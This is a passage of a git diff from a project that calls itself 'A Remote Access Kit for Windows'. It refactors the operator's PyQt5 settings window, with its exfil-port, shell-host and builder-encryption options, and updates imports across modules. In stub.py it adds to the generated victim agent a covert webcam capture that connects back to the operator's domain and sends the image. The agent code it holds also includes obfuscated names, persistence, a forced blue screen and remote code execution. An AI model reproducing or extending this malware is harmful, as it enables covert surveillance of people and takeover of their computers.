Initialize UI Parameters + """ settings_window.setObjectName("settings_window") settings_window.resize(528, 464) settings_window.setWindowIcon(IconObj().settings_icon) + """ + Create widget objects + """ self.settings_tabs = QtWidgets.QTabWidget(settings_window) - self.settings_tabs.setGeometry(QtCore.QRect(10, 10, 511, 441)) - self.settings_tabs.setAutoFillBackground(True) - self.settings_tabs.setStyleSheet(f"background-image: url({BGPath().settings_window_bg});") - self.settings_tabs.setObjectName("settings_tabs") self.logging_tab = QtWidgets.QWidget() - self.logging_tab.setObjectName("logging_tab") self.callback_groupbox = QtWidgets.QGroupBox(self.logging_tab) - self.callback_groupbox.setGeometry(QtCore.QRect(10, 10, 171, 111)) - self.callback_groupbox.setObjectName("callback_groupbox") self.clear_logs_button = QtWidgets.QPushButton(self.callback_groupbox, clicked=lambda: ConsoleWindow().clear_console_logs()) - self.clear_logs_button.setGeometry(QtCore.QRect(10, 30, 151, 31)) - self.clear_logs_button.setObjectName("clear_logs_button") self.discord_groupbox = QtWidgets.QGroupBox(self.logging_tab) - self.discord_groupbox.setGeometry(QtCore.QRect(10, 140, 171, 121)) - self.discord_groupbox.setObjectName("discord_groupbox") self.webhook_button = QtWidgets.QPushButton(self.discord_groupbox,clicked=lambda: self.open_new_window(Ui_webhook_dialog)) - self.webhook_button.setGeometry(QtCore.QRect(30, 90, 101, 27)) - self.webhook_button.setObjectName("webhook_button") self.enable_discord_combobox = QtWidgets.QComboBox(self.discord_groupbox) - self.enable_discord_combobox.setGeometry(QtCore.QRect(8, 30, 151, 27)) - self.enable_discord_combobox.setObjectName("comboBox") - self.enable_discord_combobox.addItem('Disabled') - self.enable_discord_combobox.addItem('Enabled') - self.enable_discord_combobox.setCurrentText(DiscordCFG().get_setting_string()) self.update_discord_button = QtWidgets.QPushButton(self.discord_groupbox,clicked=lambda: self.set_discord_notification()) - self.update_discord_button.setGeometry(QtCore.QRect(30, 60, 101, 27)) - self.update_discord_button.setObjectName("update_discord_combobox") - self.settings_tabs.addTab(self.logging_tab, "") self.networking_tab = QtWidgets.QWidget() - self.networking_tab.setObjectName("networking_tab") self.domain_group_box = QtWidgets.QGroupBox(self.networking_tab) - self.domain_group_box.setGeometry(QtCore.QRect(10, 10, 121, 91)) - self.domain_group_box.setObjectName("domain_group_box") self.add_domain_button = QtWidgets.QPushButton(self.domain_group_box,clicked=lambda: self.open_new_window(Ui_domains_window)) - self.add_domain_button.setGeometry(QtCore.QRect(10, 30, 100, 21)) - self.add_domain_button.setObjectName("add_domain_button") self.dns_token_button = QtWidgets.QPushButton(self.domain_group_box,clicked=lambda: self.open_new_window(Ui_dns_token_window)) - self.dns_token_button.setGeometry(QtCore.QRect(10, 50, 100, 21)) - self.dns_token_button.setObjectName("dns_token_button") self.NIC_groupbox = QtWidgets.QGroupBox(self.networking_tab) - self.NIC_groupbox.setGeometry(QtCore.QRect(140, 10, 171, 61)) - self.NIC_groupbox.setObjectName("NIC_groupbox") self.nic_combo_box = QtWidgets.QComboBox(self.NIC_groupbox) - self.nic_combo_box.setGeometry(QtCore.QRect(90, 30, 81, 21)) - self.nic_combo_box.setObjectName("nic_combo_box") - for interface in NicHandler().get_all_interfaces(): - self.nic_combo_box.addItem(interface) - self.nic_combo_box.setCurrentText(NetworkingConfigs().retrieve_network_interface()) self.update_nic_button = QtWidgets.QPushButton(self.NIC_groupbox,clicked=lambda: self.change_network_interface()) - self.update_nic_button.setGeometry(QtCore.QRect(5, 30, 71, 21)) - self.update_nic_button.setObjectName("update_nic_button") self.exfil_port_groupbox = QtWidgets.QGroupBox(self.networking_tab) - self.exfil_port_groupbox.setGeometry(QtCore.QRect(320, 10, 181, 80)) - self.exfil_port_groupbox.setObjectName("exfil_port_groupbox") self.exfil_port_input = QtWidgets.QLineEdit(self.exfil_port_groupbox) - self.exfil_port_input.setGeometry(QtCore.QRect(90, 30, 81, 33)) - self.exfil_port_input.setObjectName("exfil_port_input") - self.exfil_port_input.setText(NetworkingConfigs().retrieve_exfil_port()) self.exfil_update_button = QtWidgets.QPushButton(self.exfil_port_groupbox,clicked=lambda: self.change_exfil_port()) - self.exfil_update_button.setGeometry(QtCore.QRect(10, 40, 61, 21)) - self.exfil_update_button.setObjectName("exfil_update_button") self.stream_port_groupbox = QtWidgets.QGroupBox(self.networking_tab) - self.stream_port_groupbox.setGeometry(QtCore.QRect(320, 100, 181, 80)) - self.stream_port_groupbox.setObjectName("stream_port_groupbox") self.stream_port_input = QtWidgets.QLineEdit(self.stream_port_groupbox) - self.stream_port_input.setGeometry(QtCore.QRect(90, 30, 81, 33)) - self.stream_port_input.setObjectName("stream_port_input") - self.stream_port_input.setText(NetworkingConfigs().retrieve_stream_port()) self.stream_update_button = QtWidgets.QPushButton(self.stream_port_groupbox,clicked=lambda: self.change_stream_port()) - self.stream_update_button.setGeometry(QtCore.QRect(10, 40, 61, 21)) - self.stream_update_button.setObjectName("stream_update_button") - self.settings_tabs.addTab(self.networking_tab, "") self.client_handler_tab = QtWidgets.QWidget() - self.client_handler_tab.setObjectName("client_handler_tab") self.shells_group_box = QtWidgets.QGroupBox(self.client_handler_tab) - self.shells_group_box.setGeometry(QtCore.QRect(10, 10, 241, 111)) - self.shells_group_box.setObjectName("shells_group_box") self.host_combobox = QtWidgets.QComboBox(self.shells_group_box) - self.host_combobox.setGeometry(QtCore.QRect(90, 30, 151, 27)) - self.host_combobox.setStyleSheet("") - self.host_combobox.setObjectName("domain_combobox") - for domain in DNSconfigs().retrieve_dns_domains(): #for domains in the domains text file - self.host_combobox.addItem(domain) #add domain to dropdown menu - self.host_combobox.addItem('Local IP') - self.host_combobox.addItem('Public IP') - self.host_combobox.setCurrentText(DNSconfigs().retrieve_domain_for_shell()) self.host_button = QtWidgets.QPushButton(self.shells_group_box, clicked=lambda: self.change_host_domain()) - self.host_button.setGeometry(QtCore.QRect(10, 30, 71, 21)) - font = QtGui.QFont() - font.setPointSize(13) - self.host_button.setFont(font) - self.host_button.setObjectName("host_label") self.port_button = QtWidgets.QPushButton(self.shells_group_box,clicked=lambda: self.change_shell_port()) - self.port_button.setGeometry(QtCore.QRect(10, 80, 71, 21)) - font = QtGui.QFont() - font.setPointSize(13) - self.port_button.setFont(font) - self.port_button.setObjectName("port_label") self.shell_port_input = QtWidgets.QLineEdit(self.shells_group_box) - self.shell_port_input.setGeometry(QtCore.QRect(90, 70, 151, 33)) - self.shell_port_input.setObjectName("shell_port_input") - self.settings_tabs.addTab(self.client_handler_tab, "") self.builder_tab = QtWidgets.QWidget() - self.builder_tab.setObjectName("builder_tab") self.encryption_groupbox = QtWidgets.QGroupBox(self.builder_tab) - self.encryption_groupbox.setGeometry(QtCore.QRect(10, 10, 141, 101)) - self.encryption_groupbox.setObjectName("encryption_groupbox") self.iterations_label = QtWidgets.QLabel(self.encryption_groupbox) - self.iterations_label.setGeometry(QtCore.QRect(10, 30, 71, 19)) - self.iterations_label.setObjectName("iterations_label") self.iteration_rounds_input = QtWidgets.QLineEdit(self.encryption_groupbox) - self.iteration_rounds_input.setGeometry(QtCore.QRect(80, 30, 51, 27)) - self.iteration_rounds_input.setObjectName("iteration_rounds_input") - self.iteration_rounds_input.setText(LoggingUtilitys().retrieve_file_data( - CFGFilePath().iterations_file - )) self.update_iterations_button = QtWidgets.QPushButton(self.encryption_groupbox,clicked=lambda: self.set_encryption_iterations()) - self.update_iterations_button.setGeometry(QtCore.QRect(80, 60, 51, 27)) - self.update_iterations_button.setObjectName("update_iterations_button") self.var_length_groupbox = QtWidgets.QGroupBox(self.builder_tab) - self.var_length_groupbox.setGeometry(QtCore.QRect(170, 10, 161, 101)) - self.var_length_groupbox.setObjectName("var_length_groupbox") self.update_var_len_button = QtWidgets.QPushButton(self.var_length_groupbox,clicked=lambda: self.set_variable_length()) - self.update_var_len_button.setGeometry(QtCore.QRect(100, 60, 51, 27)) - self.update_var_len_button.setObjectName("update_var_len_button") self.var_len_input = QtWidgets.QLineEdit(self.var_length_groupbox) - self.var_len_input.setGeometry(QtCore.QRect(100, 30, 51, 27)) - self.var_len_input.setObjectName("var_len_input") - self.var_len_input.setText(LoggingUtilitys().retrieve_file_data(CFGFilePath().var_len_file)) self.var_len_label = QtWidgets.QLabel(self.var_length_groupbox) + """ + Set widget geometry + """ + self.settings_tabs.setGeometry(QtCore.QRect(10, 10, 511, 441)) + self.callback_groupbox.setGeometry(QtCore.QRect(10, 10, 171, 111)) + self.clear_logs_button.setGeometry(QtCore.QRect(10, 30, 151, 31)) + self.discord_groupbox.setGeometry(QtCore.QRect(10, 140, 171, 121)) + self.webhook_button.setGeometry(QtCore.QRect(30, 90, 101, 27)) + self.enable_discord_combobox.setGeometry(QtCore.QRect(8, 30, 151, 27)) + self.update_discord_button.setGeometry(QtCore.QRect(30, 60, 101, 27)) + self.domain_group_box.setGeometry(QtCore.QRect(10, 10, 121, 91)) + self.add_domain_button.setGeometry(QtCore.QRect(10, 30, 100, 21)) + self.dns_token_button.setGeometry(QtCore.QRect(10, 50, 100, 21)) + self.NIC_groupbox.setGeometry(QtCore.QRect(140, 10, 171, 61)) + self.nic_combo_box.setGeometry(QtCore.QRect(90, 30, 81, 21)) + self.update_nic_button.setGeometry(QtCore.QRect(5, 30, 71, 21)) + self.exfil_port_groupbox.setGeometry(QtCore.QRect(320, 10, 181, 80)) + self.exfil_port_input.setGeometry(QtCore.QRect(90, 30, 81, 33)) + self.exfil_update_button.setGeometry(QtCore.QRect(10, 40, 61, 21)) + self.stream_port_groupbox.setGeometry(QtCore.QRect(320, 100, 181, 80)) + self.stream_port_input.setGeometry(QtCore.QRect(90, 30, 81, 33)) + self.stream_update_button.setGeometry(QtCore.QRect(10, 40, 61, 21)) + self.shells_group_box.setGeometry(QtCore.QRect(10, 10, 241, 111)) + self.host_combobox.setGeometry(QtCore.QRect(90, 30, 151, 27)) + self.host_button.setGeometry(QtCore.QRect(10, 30, 71, 21)) + self.port_button.setGeometry(QtCore.QRect(10, 80, 71, 21)) + self.shell_port_input.setGeometry(QtCore.QRect(90, 70, 151, 33)) + self.encryption_groupbox.setGeometry(QtCore.QRect(10, 10, 141, 101)) + self.iterations_label.setGeometry(QtCore.QRect(10, 30, 71, 19)) + self.iteration_rounds_input.setGeometry(QtCore.QRect(80, 30, 51, 27)) + self.update_iterations_button.setGeometry(QtCore.QRect(80, 60, 51, 27)) + self.var_length_groupbox.setGeometry(QtCore.QRect(170, 10, 161, 101)) + self.update_var_len_button.setGeometry(QtCore.QRect(100, 60, 51, 27)) + self.var_len_input.setGeometry(QtCore.QRect(100, 30, 51, 27)) self.var_len_label.setGeometry(QtCore.QRect(30, 30, 51, 19)) + """ + Set widget object names + """ + self.callback_groupbox.setObjectName("callback_groupbox") + self.clear_logs_button.setObjectName("clear_logs_button") + self.discord_groupbox.setObjectName("discord_groupbox") + self.webhook_button.setObjectName("webhook_button") + self.settings_tabs.setObjectName("settings_tabs") + self.logging_tab.setObjectName("logging_tab") + self.enable_discord_combobox.setObjectName("enable_discord_combobox") + self.update_discord_button.setObjectName("update_discord_combobox") + self.networking_tab.setObjectName("networking_tab") + self.domain_group_box.setObjectName("domain_group_box") + self.add_domain_button.setObjectName("add_domain_button") + self.dns_token_button.setObjectName("dns_token_button") + self.NIC_groupbox.setObjectName("NIC_groupbox") + self.nic_combo_box.setObjectName("nic_combo_box") + self.update_nic_button.setObjectName("update_nic_button") + self.exfil_update_button.setObjectName("exfil_update_button") + self.stream_port_groupbox.setObjectName("stream_port_groupbox") + self.stream_port_input.setObjectName("stream_port_input") + self.stream_update_button.setObjectName("stream_update_button") + self.client_handler_tab.setObjectName("client_handler_tab") + self.shells_group_box.setObjectName("shells_group_box") + self.host_combobox.setObjectName("domain_combobox") + self.host_button.setObjectName("host_label") + self.port_button.setObjectName("port_label") + self.shell_port_input.setObjectName("shell_port_input") + self.builder_tab.setObjectName("builder_tab") + self.encryption_groupbox.setObjectName("encryption_groupbox") + self.iterations_label.setObjectName("iterations_label") + self.iteration_rounds_input.setObjectName("iteration_rounds_input") + self.update_iterations_button.setObjectName("update_iterations_button") + self.var_length_groupbox.setObjectName("var_length_groupbox") + self.update_var_len_button.setObjectName("update_var_len_button") + self.var_len_input.setObjectName("var_len_input") self.var_len_label.setObjectName("var_len_label") + """ + Add tabs to the settings tab box widget + """ + self.settings_tabs.addTab(self.logging_tab, "") + self.settings_tabs.addTab(self.networking_tab, "") + self.settings_tabs.addTab(self.client_handler_tab, "") self.settings_tabs.addTab(self.builder_tab, "") + """ + Add items to all combobox's + """ + self.enable_discord_combobox.addItem('Disabled') + self.enable_discord_combobox.addItem('Enabled') + for interface in NicHandler().get_all_interfaces(): + self.nic_combo_box.addItem(interface) + for domain in DNSconfigs().retrieve_dns_domains(): + self.host_combobox.addItem(domain) + self.host_combobox.addItem('Local IP') + self.host_combobox.addItem('Public IP') + """ + Set style sheets for the widgets + """ + self.settings_tabs.setStyleSheet(f"background-image: url({BGPath().settings_window_bg});") + self.host_combobox.setStyleSheet("") + """ + Set text for widgets if applicable + """ + self.enable_discord_combobox.setCurrentText(DiscordCFG().get_setting_string()) + self.nic_combo_box.setCurrentText(NetworkingConfigs().retrieve_network_interface()) + self.exfil_port_input.setText(NetworkingConfigs().retrieve_exfil_port()) + self.stream_port_input.setText(NetworkingConfigs().retrieve_stream_port()) + self.host_combobox.setCurrentText(DNSconfigs().retrieve_domain_for_shell()) + self.iteration_rounds_input.setText(LoggingUtilitys().retrieve_file_data( + CFGFilePath().iterations_file + )) + self.var_len_input.setText(LoggingUtilitys().retrieve_file_data(CFGFilePath().var_len_file)) + """ + Set fonts + """ + font = QtGui.QFont() + font.setPointSize(13) + self.host_button.setFont(font) + self.port_button.setFont(font) + """ + Handle widget settings + """ + self.settings_tabs.setAutoFillBackground(True) + """ + Finish setting up UI + """ self.retranslateUi(settings_window) self.settings_tabs.setCurrentIndex(0) #Pick which tab to open the settings window on QtCore.QMetaObject.connectSlotsByName(settings_window) diff --git a/core/Qt5/webhook_window.py b/core/Qt5/settings_gui/webhook_window.py similarity index 88% rename from core/Qt5/webhook_window.py rename to core/Qt5/settings_gui/webhook_window.py index ce14add..4371832 100644 --- a/core/Qt5/webhook_window.py +++ b/core/Qt5/settings_gui/webhook_window.py @@ -10,12 +10,12 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- -from PyQt5 import QtCore, QtGui, QtWidgets -from ..Qt5.icons import IconObj -from ..logging.logging import DiscordCFG,ConsoleWindow -from ..utils.utils import Notifications,Validation,ErrorHandling +from PyQt5 import QtCore, QtWidgets +from core.Qt5.icons import IconObj +from core.logging.logging import DiscordCFG,ConsoleWindow +from core.utils.utils import Notifications,Validation,ErrorHandling class Ui_webhook_dialog(object): @@ -42,16 +42,30 @@ def update_webhook(self,webhook_dialog): self.webhook_input.clear() #Clear the input box def setupUi(self, webhook_dialog): + """ + Initialize UI parameter + """ webhook_dialog.setObjectName("webhook_dialog") webhook_dialog.resize(400, 80) webhook_dialog.setWindowIcon(IconObj().discord_icon) + """ + Create gui objects + """ self.update_webhook_button = QtWidgets.QPushButton(webhook_dialog,clicked=lambda: self.update_webhook(webhook_dialog)) - self.update_webhook_button.setGeometry(QtCore.QRect(300, 50, 87, 27)) - self.update_webhook_button.setObjectName("update_webhook_button") self.webhook_input = QtWidgets.QLineEdit(webhook_dialog) + """ + Set object sizes + """ self.webhook_input.setGeometry(QtCore.QRect(10, 10, 381, 31)) + self.update_webhook_button.setGeometry(QtCore.QRect(300, 50, 87, 27)) + """ + Set object names + """ + self.update_webhook_button.setObjectName("update_webhook_button") self.webhook_input.setObjectName("webhook_input") - + """ + Finish setting up the UI + """ self.retranslateUi(webhook_dialog) QtCore.QMetaObject.connectSlotsByName(webhook_dialog) diff --git a/core/builder/encryption.py b/core/builder/utils/encryption.py similarity index 92% rename from core/builder/encryption.py rename to core/builder/utils/encryption.py index 22f7a4b..3e58218 100644 --- a/core/builder/encryption.py +++ b/core/builder/utils/encryption.py @@ -10,16 +10,16 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- import string import random from cryptography.fernet import Fernet -from ..logging.logging import LoggingUtilitys +from core.logging.logging import LoggingUtilitys class Scrambler: - #Function will return a scrambled string with the len passwed as parameter + #Function will return a scrambled string with the len passed as parameter def scrambleVar(self,int_var_length): random_chars = string.ascii_letters #Get random letters scrambled_chars = (''.join(random.choice(random_chars) for i in range(1, int(int_var_length)))) #Join them diff --git a/core/builder/agent_builder.py b/core/builder/windows10/agent_builder.py similarity index 95% rename from core/builder/agent_builder.py rename to core/builder/windows10/agent_builder.py index b059210..6b220ae 100644 --- a/core/builder/agent_builder.py +++ b/core/builder/windows10/agent_builder.py @@ -10,13 +10,13 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- -from ..builder.stub import QWireAgent -from ..builder.encryption import Scrambler,Crypter -from ..utils.file_paths import BuilderPath,CFGFilePath -from ..utils.utils import Validation,Notifications -from ..logging.logging import LoggingUtilitys +from ..windows10.stub import QWireAgent +from ..utils.encryption import Scrambler,Crypter +from core.utils.file_paths import BuilderPath,CFGFilePath +from core.utils.utils import Validation,Notifications +from core.logging.logging import LoggingUtilitys class AgentWriter(): diff --git a/core/builder/stub.py b/core/builder/windows10/stub.py similarity index 90% rename from core/builder/stub.py rename to core/builder/windows10/stub.py index a0f1bca..4dd723c 100644 --- a/core/builder/stub.py +++ b/core/builder/windows10/stub.py @@ -10,11 +10,11 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- -from ..builder.encryption import Scrambler -from ..logging.logging import LoggingUtilitys -from ..utils.utils import CFGFilePath +from ..utils.encryption import Scrambler +from core.logging.logging import LoggingUtilitys +from core.utils.utils import CFGFilePath class Persistance: @@ -149,6 +149,15 @@ def generate_agent_code(self, server_port, stream_port, exfil_port, domain_name, term_process = Scrambler().scrambleVar(self.variable_length) initial_data = Scrambler().scrambleVar(self.variable_length) data_size = Scrambler().scrambleVar(self.variable_length) + check_for_webcam = Scrambler().scrambleVar(self.variable_length) + webcam = Scrambler().scrambleVar(self.variable_length) + snapshot = Scrambler().scrambleVar(self.variable_length) + webcam_snapshot = Scrambler().scrambleVar(self.variable_length) + file = Scrambler().scrambleVar(self.variable_length) + ret = Scrambler().scrambleVar(self.variable_length) + web_cam = Scrambler().scrambleVar(self.variable_length) + stream_sock = Scrambler().scrambleVar(self.variable_length) + img = Scrambler().scrambleVar(self.variable_length) agent_source = f""" import socket as socket import base64 as base64 @@ -158,6 +167,7 @@ def generate_agent_code(self, server_port, stream_port, exfil_port, domain_name, import subprocess as subprocess import threading as threading import struct as struct +import cv2 from PIL import ImageGrab as ImageGrab from time import sleep as sleep from cryptography.fernet import Fernet @@ -206,7 +216,14 @@ def {extract_sys_ip_info}(self): {ip_config} = subprocess.Popen('ipconfig /all', stdout=subprocess.PIPE) {ip_config_output} = {ip_config}.stdout.read().decode() {extracted_info} = f'{{{sysinfo_output}}}\\n{{{ip_config_output}}}' - return {extracted_info} + return {extracted_info} + def {check_for_webcam}(self): + {webcam} = cv2.VideoCapture(0) + if not {webcam}.isOpened(): + {webcam}.release() + return False + {webcam}.release() + return True class {SystemManager}: def {blue_screen}(self): ctypes.windll.ntdll.RtlAdjustPrivilege(19, 1, 0, ctypes.byref(ctypes.c_bool())) @@ -251,6 +268,7 @@ def __init__(self): self.{disconnect} = 'disconnect' self.{process_manager} = 'proc_list' self.{term_process} = 'terminate' + self.{snapshot} = 'snap_shot' def {connect_to_server}(self): {domain} = socket.gethostbyname(self.{dns_address}) self.{client_socket} = socket.socket(socket.AF_INET,socket.SOCK_STREAM) @@ -324,7 +342,9 @@ def {main}(self): if {action_flag} == self.{process_manager}: {SystemManager}().{extract_process_list}() if {action_flag} == self.{term_process}: - {SystemManager}().{kill_task}({server_command}[1]) + {SystemManager}().{kill_task}({server_command}[1]) + if {action_flag} == self.{snapshot}: + {StreamSocket}().{webcam_snapshot}() def {recv_all_data}(self): try: {bytes_data} = b'' @@ -339,6 +359,8 @@ def {recv_all_data}(self): else: return {data_size}[1] except ValueError: + return self.{connect_to_server}() + except ConnectionResetError: return self.{connect_to_server}() def {receive_server_command}(self): {data} = self.{recv_all_data}() @@ -380,7 +402,25 @@ def {stream_desktop}(self,{screenshot}): {image_data} = self.{take_screenshot}() {StreamSocket}.sendall(struct.pack(">Q", len({image_data}))) {StreamSocket}.sendall({image_data}) - {StreamSocket}.close() + {StreamSocket}.close() + def {webcam_snapshot}(self): + if not {Utilitys}().{check_for_webcam}(): + {ExfilSocket}().{exfil_socket_send}('NoneFound') + else: + {ExfilSocket}().{exfil_socket_send}('Found') + {stream_sock} = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Create socket + {stream_sock}.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + {ip_address} = socket.gethostbyname({ClientSocket}().{dns_address}) # Resolve dns + {stream_sock}.connect(({ip_address}, {STRM_PORT})) # connect to ip and streaming port + {web_cam} = cv2.VideoCapture(0) + {ret}, {img} = {web_cam}.read() + cv2.imwrite(self.{image_file_path},{img}) + with open(self.{image_file_path},'rb') as {file}: + {data} = {file}.read() + {file}.close() + {stream_sock}.sendall(struct.pack(">Q",len({data}))) + {stream_sock}.sendall({data}) + {stream_sock}.close() class {CodeExecution}(): def {execute_python_code}(self,{python_code}): def {exec_}({python_code}): diff --git a/core/client_handling/__pycache__/enumeration.cpython-39.pyc b/core/client_handling/__pycache__/enumeration.cpython-39.pyc new file mode 100644 index 0000000..359e018 Binary files /dev/null and b/core/client_handling/__pycache__/enumeration.cpython-39.pyc differ diff --git a/core/client_handling/__pycache__/flags.cpython-39.pyc b/core/client_handling/__pycache__/flags.cpython-39.pyc new file mode 100644 index 0000000..2cd9675 Binary files /dev/null and b/core/client_handling/__pycache__/flags.cpython-39.pyc differ diff --git a/core/client_handling/__pycache__/meterpreter_payloads.cpython-39.pyc b/core/client_handling/__pycache__/meterpreter_payloads.cpython-39.pyc new file mode 100644 index 0000000..9e187e0 Binary files /dev/null and b/core/client_handling/__pycache__/meterpreter_payloads.cpython-39.pyc differ diff --git a/core/client_handling/__pycache__/networking.cpython-39.pyc b/core/client_handling/__pycache__/networking.cpython-39.pyc new file mode 100644 index 0000000..3bcaa34 Binary files /dev/null and b/core/client_handling/__pycache__/networking.cpython-39.pyc differ diff --git a/core/client_handling/__pycache__/payload_code.cpython-39.pyc b/core/client_handling/__pycache__/payload_code.cpython-39.pyc new file mode 100644 index 0000000..d434373 Binary files /dev/null and b/core/client_handling/__pycache__/payload_code.cpython-39.pyc differ diff --git a/core/client_handling/__pycache__/shell.cpython-39.pyc b/core/client_handling/__pycache__/shell.cpython-39.pyc new file mode 100644 index 0000000..671a324 Binary files /dev/null and b/core/client_handling/__pycache__/shell.cpython-39.pyc differ diff --git a/core/client_handling/__pycache__/surveillance.cpython-39.pyc b/core/client_handling/__pycache__/surveillance.cpython-39.pyc new file mode 100644 index 0000000..1f720fd Binary files /dev/null and b/core/client_handling/__pycache__/surveillance.cpython-39.pyc differ diff --git a/core/client_handling/__pycache__/system.cpython-39.pyc b/core/client_handling/__pycache__/system.cpython-39.pyc new file mode 100644 index 0000000..aa3362c Binary files /dev/null and b/core/client_handling/__pycache__/system.cpython-39.pyc differ diff --git a/core/client_handling/enumeration.py b/core/client_handling/enumeration.py index 60c6ecd..6d25d92 100644 --- a/core/client_handling/enumeration.py +++ b/core/client_handling/enumeration.py @@ -10,13 +10,12 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- -from ..networking.socket import ServerSocket -from ..networking.receiver_socket import ReceiverSocket -from ..threading.threads import MultiThreading -from ..client_handling.flags import ClientActionFlags -from ..logging.logging import ConsoleWindow +from core.networking.sockets.server_socket import ServerSocket +from core.networking.sockets.receiver_socket import ReceiverSocket +from core.threading.threads import MultiThreading +from core.client_handling.flags import ClientActionFlags class SystemCommands: diff --git a/core/client_handling/flags.py b/core/client_handling/flags.py index 803ff12..2732676 100644 --- a/core/client_handling/flags.py +++ b/core/client_handling/flags.py @@ -10,7 +10,7 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- #Class is for storing flag strings to make the client do different actions class ClientActionFlags: @@ -28,4 +28,5 @@ def __init__(self): self.shutdown_computer = 'shutdown' self.disconnect = 'disconnect' self.task_manager = 'proc_list' - self.kill_process = 'terminate' \ No newline at end of file + self.kill_process = 'terminate' + self.snapshot = 'snap_shot' \ No newline at end of file diff --git a/core/client_handling/meterpreter_payloads.py b/core/client_handling/meterpreter_payloads.py index d24e889..0cfceca 100644 --- a/core/client_handling/meterpreter_payloads.py +++ b/core/client_handling/meterpreter_payloads.py @@ -10,7 +10,7 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- """ Define meterpreter payload strings diff --git a/core/client_handling/networking.py b/core/client_handling/networking.py index 281f382..e814252 100644 --- a/core/client_handling/networking.py +++ b/core/client_handling/networking.py @@ -10,10 +10,10 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- -from ..networking.socket import ServerSocket -from ..networking.receiver_socket import ReceiverSocket +from core.networking.sockets.server_socket import ServerSocket +from core.networking.sockets.receiver_socket import ReceiverSocket from ..client_handling.flags import ClientActionFlags from ..threading.threads import MultiThreading diff --git a/core/client_handling/payload_code.py b/core/client_handling/payload_code.py index 837e55d..743280e 100644 --- a/core/client_handling/payload_code.py +++ b/core/client_handling/payload_code.py @@ -10,7 +10,7 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- """ Define a class to store payload strings. diff --git a/core/client_handling/shell.py b/core/client_handling/shell.py index c32a644..659154f 100644 --- a/core/client_handling/shell.py +++ b/core/client_handling/shell.py @@ -10,19 +10,17 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- import os -from ..networking.socket import ServerSocket -from ..networking.receiver_socket import ReceiverSocket -from ..networking.IP_Handler import IPAddress -from ..client_handling.flags import ClientActionFlags -from ..logging.logging import DNSconfigs,LoggingUtilitys,NetworkingConfigs,ConsoleWindow -from ..client_handling.meterpreter_payloads import MSFPayload -from ..client_handling.payload_code import PayloadCode -from ..utils.file_paths import DSFilePath -from ..threading.threads import MultiThreading +from core.networking.sockets.server_socket import ServerSocket +from core.networking.utils.IP_Handler import IPAddress +from core.client_handling.flags import ClientActionFlags +from core.logging.logging import DNSconfigs,LoggingUtilitys,NetworkingConfigs,ConsoleWindow +from core.client_handling.meterpreter_payloads import MSFPayload +from core.client_handling.payload_code import PayloadCode +from core.utils.file_paths import DSFilePath from subprocess import run """ diff --git a/core/client_handling/surveillance.py b/core/client_handling/surveillance.py index 869472a..b49b25e 100644 --- a/core/client_handling/surveillance.py +++ b/core/client_handling/surveillance.py @@ -10,12 +10,14 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- -from ..networking.socket import ServerSocket -from ..networking.stream_socket import StreamingSocket -from ..client_handling.flags import ClientActionFlags -from ..threading.threads import MultiThreading +from core.networking.sockets.server_socket import ServerSocket +from core.networking.sockets.stream_socket import StreamingSocket +from core.networking.sockets.receiver_socket import ReceiverSocket +from core.logging.logging import ConsoleWindow +from core.client_handling.flags import ClientActionFlags +from core.threading.threads import MultiThreading BUFFER = 4096 @@ -25,4 +27,19 @@ class Streaming: def get_client_screenshot(self, encryption_key,client): flag = f'{ClientActionFlags().screenshot}{ClientActionFlags().seperator} ' #Action flag ServerSocket().send_data_to_client(client,encryption_key,flag) #Tell client to take photo - MultiThreading().create_background_thread(StreamingSocket().receive_screenshot()) #Create thread to receive photo \ No newline at end of file + MultiThreading().create_background_thread(StreamingSocket().recv_img_data()) #Create thread to receive photo + + #Function will tell client to take a snapshot from webcam and then receive the snapshot if + #a webcam is present on the client. Returns bool based on result to tell server + #if it should open a socket or not. + def get_client_snapshot(self,encryption_key,client): + flag = f'{ClientActionFlags().snapshot}{ClientActionFlags().seperator} ' #Create data flag for client + ServerSocket().send_data_to_client(client,encryption_key,flag) #Sent flag + status = ReceiverSocket().recv_string(encryption_key) #Store response in variable + if status == 'NoneFound': #If the agent does not find a webcam + ConsoleWindow().log_to_console('Agent could not find webcam on target') #Log to console + return False #Return false so server doesn't open socket + elif status == 'Found': #Else if the agent does find a webcam, + StreamingSocket().recv_img_data() #Open a socket and receive the data + ConsoleWindow().log_to_console('Got webcam data from agent') #Log to console + return True #Return true since we were able to retrieve the data diff --git a/core/client_handling/system.py b/core/client_handling/system.py index 54e16b2..481d352 100644 --- a/core/client_handling/system.py +++ b/core/client_handling/system.py @@ -10,12 +10,12 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # 